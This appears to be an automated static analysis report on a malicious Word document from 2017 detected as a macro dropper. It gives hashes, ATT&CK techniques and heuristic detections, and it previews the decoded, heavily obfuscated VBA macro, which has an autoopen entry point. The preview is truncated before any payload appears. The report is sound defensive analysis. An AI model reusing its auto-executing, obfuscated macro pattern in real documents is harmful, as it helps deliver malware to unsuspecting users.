Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d08c719c8ea6e5d7…

MALICIOUS

Office (OLE)

62.0 KB Created: 2017-08-03 16:20:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 481a76f09eeef4cd68da96efa5321a60 SHA-1: 6d7f413da9dd32f471e2e533e19c1b11b4b94979 SHA-256: d08c719c8ea6e5d7546e6449e6aed748ce74359e7c0dbd1f9bd08e2e8b795c68
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate Malicious Files or Information

The file contains a VBA macro with an autoopen subroutine, which is a common technique for executing malicious code when a document is opened. The heuristic firings indicate the presence of VBA macros, an autoopen macro, and a CreateObject call, suggesting the macro attempts to create and execute an object. The ClamAV detection 'Doc.Dropper.Agent-6335671-0' further confirms its malicious nature, likely acting as a dropper for a secondary payload. The script itself is heavily obfuscated, making it difficult to determine the exact payload or execution method.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6335671-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6335671-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8609 bytes
SHA-256: f44b283d38d1ad66e7221b52a55769eb8b590dec9678d1b6cd59b0ed68acca68
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
tNNFDtNNFDtNNFDtNNFDtNNFD
End Sub
Sub nNNgbnNNgbnNNgbnNNgbnNNgb()
For Each ZRzZZRzZZRzZZRzZZRzZ In cndrucndrucndrucndrucndru
aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
    If ZRzZZRzZZRzZZRzZZRzZ = xPCtxPCtxPCtxPCtxPCt Then
        GpbbzFGpbbzFGpbbzFGpbbzFGpbbzF = True
        Exit Function
    End If
    aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
    aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
Next ZRzZZRzZZRzZZRzZZRzZ
 For Each kcfEGnkcfEGnkcfEGnkcfEGnkcfEGn In hHShHShHShHShHS
aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
    If kcfEGnkcfEGnkcfEGnkcfEGnkcfEGn = RmCexzRmCexzRmCexzRmCexzRmCexz Then
        tMnGtMnGtMnGtMnGtMnG = True
        Exit Function
    End If
    aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
    aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
Next kcfEGnkcfEGnkcfEGnkcfEGnkcfEGn
 For Each CgvPgCgvPgCgvPgCgvPgCgvPg In AmhdPbAmhdPbAmhdPbAmhdPbAmhdPb
aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
    If CgvPgCgvPgCgvPgCgvPgCgvPg = dTAkfEdTAkfEdTAkfEdTAkfEdTAkfE Then
        HcvnZHcvnZHcvnZHcvnZHcvnZ = True
        Exit Function
    End If
    aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
    aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
Next CgvPgCgvPgCgvPgCgvPgCgvPg
 For Each kGuKpWkGuKpWkGuKpWkGuKpWkGuKpW In aDdaDdaDdaDdaDd
aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
    If kGuKpWkGuKpWkGuKpWkGuKpWkGuKpW = RZDRZDRZDRZDRZD Then
        kvfkvfkvfkvfkvf = True
        Exit Function
    End If
    aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
    aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
Next kGuKpWkGuKpWkGuKpWkGuKpWkGuKpW
 For Each yMTyMTyMTyMTyMT In mNdKvsmNdKvsmNdKvsmNdKvsmNdKvs
aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
    If yMTyMTyMTyMTyMT = gAygAygAygAygAy Then
        hKMhKMhKMhKMhKM = True
        Exit Function
    End If
    aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
    aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
Next yMTyMTyMTyMTyMT
 For Each ZFTFwWZFTFwWZFTFwWZFTFwWZFTFwW In pzRYUypzRYUypzRYUypzRYUypzRYUy
aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
    If ZFTFwWZFTFwWZFTFwWZFTFwWZFTFwW = rLBvrLBvrLBvrLBvrLBv Then
        BFgRBFgRBFgRBFgRBFgR = True
        Exit Function
    End If
    aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
    aYBMkaYBMkaYBMkaYBMkaYBMk = "aYBMkaYBMkaYBMkaYBMkaYBMk"
Next ZFTFwWZFTFwWZFTFwWZFTFwWZFTFwW

End Sub
Function vWfvWfvWfvWfvWf(ByVal yyAyyAyyAyyAyyA As String, ByVal aKDaKDaKDaKDaKD As Variant) As Boolean
For Each yWTyWTyWTyWTyWT In aKDaKDaKDaKDaKD
    If yWTyWTyWTyWTyWT = yyAyyAyyAyyAyyA Then
        vWfvWfvWfvWfvWf = True
        Exit Function
    End If
Next yWTyWTyWTyWTyWT
End Function
 Function PtaPtaPtaPtaPta(ByVal nVaFTdnVaFTdnVaFTdnVaFTdnVaFTd As String, ByVal XertttXertttXertttXertttXerttt As Variant) As Boolean
For Each GWyDykGWyDykGWyDykGWyDykGWyDyk In XertttXertttXertttXertttXerttt
    If GWyDykGWyDykGWyDykGWyDykGWyDyk = nVaFTdnVaFTdnVaFTdnVaFTdnVaFTd Then
        PtaPtaPtaPtaPta = True
        Exit Function
    End If
Next GWyDykGWyDykGWyDykGWyDykGWyDyk
End Function
 Function uGyYRuGyYRuGyYRuGyYRuGyYR(ByVal shSCshSCshSCshSCshSC As String, ByVal kMXdmkMXdmkMXdmkMXdmkMXdm As Variant) As Boolean
For Each wDudwDudwDudwDudwDud In
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.